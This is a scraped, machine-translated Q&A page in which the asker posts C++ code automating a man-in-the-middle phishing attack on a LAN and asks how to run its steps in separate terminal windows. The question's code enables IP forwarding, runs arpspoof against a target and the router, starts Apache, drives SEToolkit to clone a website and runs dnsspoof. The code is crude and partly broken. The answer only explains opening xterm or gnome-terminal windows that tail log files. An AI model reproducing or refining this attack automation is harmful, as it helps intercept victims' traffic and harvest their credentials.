如何在C ++中打开多个单独的终端窗口?

时间:2018-07-21 18:19:52

标签: c++ linux

我的问题是我的代码需要同时运行多个单独的窗口。这些窗口运行时,我还必须能够执行命令。两个连续运行的窗口正在侦听与LAN通信相关的信息。无论如何,我在Kali上运行,所以我不能使用ConsoleLoggerHelper文件,因为.h文件与windows.h有依赖关系,而在Linux上则不起作用。还有另一种方法可以在多个单独的窗口上创建和运行吗?该应用程序是使用Apache2,DNSspoof,ARPspoof和SEToolkit的MITM攻击的自动化。到目前为止,这是我的代码:

#include <iostream>
#include <stdio.h>


using namespace std;


int main()

{

string site;
string s_site;
string t_ip;
string u_ip;
char yorn;
string arp_t;
string arp_r;

//Remember to put in the option the change to interface type, i.e: wlan0

string arp_s;
arp_s = "arpspoof -i eth0 -t";
string set;
set = "setoolkit";
string enable_echo;
enable_echo = "echo 1 > /proc/sys/net/ipv4/ip_forward";
string s_dns;
s_dns = "dnsspoof -i eth0 -f hosts.txt";
string enable_apache;
enable_apache = "servive apache2 start";
string router_ip;
router_ip = "192.168.1.1";

cout << "This program will perform a MITM-Phishing attack. DO you want to continue? y/n: ";
cin >> yorn;

    if (yorn == 'y')

    {

        cout << "What is the local IP address of your target?: ";
        cin >> t_ip;
        cout << "What is your local IP address?: ";
        cin >> u_ip;
        cout << "What is the EXACT URL of the website you wish to clone?: ";
        cin >> site;
        cout << "what do you wish the name your spoofed website to be?: ";
        cin >> s_site;

        system(enable_echo.c_str());

        //New window

        arp_t = arp_s + " " + t_ip + " " + router_ip;
        system(arp_t.c_str());

        //New window

        arp_r = arp_s + " " + router_ip + " " + t_ip;
        system(arp_r.c_str());

        //New window

        system(enable_apache.c_str());

        //New window

        system(set.c_str());
        system("1");
        system("2");
        system("3");
        system("2");
        system(u_ip.c_str());
        system(site.c_str());

        //New window

        system(s_dns.c_str());

        return 0;

    }

    else

    {

        cout << "Aborting program..." << endl;

        return 0;

    }

}

1 个答案:

答案 0 :(得分:3)

您正在尝试使用非常困难的方法来解决经典的小问题。您有几种解决方法:

  1. 使用GUI,而不是控制台应用程序,并创建多个窗口。 Qt和GTK等所有主要库都支持此功能。
  2. 写入多个文件句柄,并启动多个xterm(或gnome-terminal,或系统上存在的任何其他实例)实例,然后在这些终端上输出cat,tail或更少的输出。
  3. 具有多个网关,例如侦听TCP端口,并具有连接到这些网关的多个文本模式客户端。您也可以通过telnet到非常易于实现的TCP服务器。 CORBA和Shared Memory也非常好,实际上所有IPC机制也将在类似情况下使用,但是大多数IPC机制似乎对于您想做的事情来说太多了(您只想显示一些日志) 。

第二个或多或少是最有效且最容易实现的。有关更多信息,您需要告诉我们更多有关您正在做什么以及您的工具链的信息。但是在所有这些解决方案中(第一个解决方案除外),都有多个过程。如果我正确地理解了您的问题,那么您将针对单一流程解决方案,我认为这是解决问题的非常困难的方法。


好,您正在使用cpp,我建议为您的不同输出打开多个fstream,例如

FILE* f = fopen("/path/to/one/file", "w+");
std::fstream myStream(f);
myStream << "Hello World\n";

然后使用输出这些文件的shell命令启动xterm的几个过程,例如:

tail -f /path/to/one/file

这将使它像这样:

system("gnome-terminal -x sh -c 'tail -f /path/to/one/file'");

system("xterm -e 'sh -c \"tail -f /path/to/one/file\"'");

甚至是

system("xterm -e 'tail -f /path/to/one/file'");

对每个输出执行一次此操作,您就完成了。只需继续写入这些fstream,它们将分别显示在其中一个控制台中。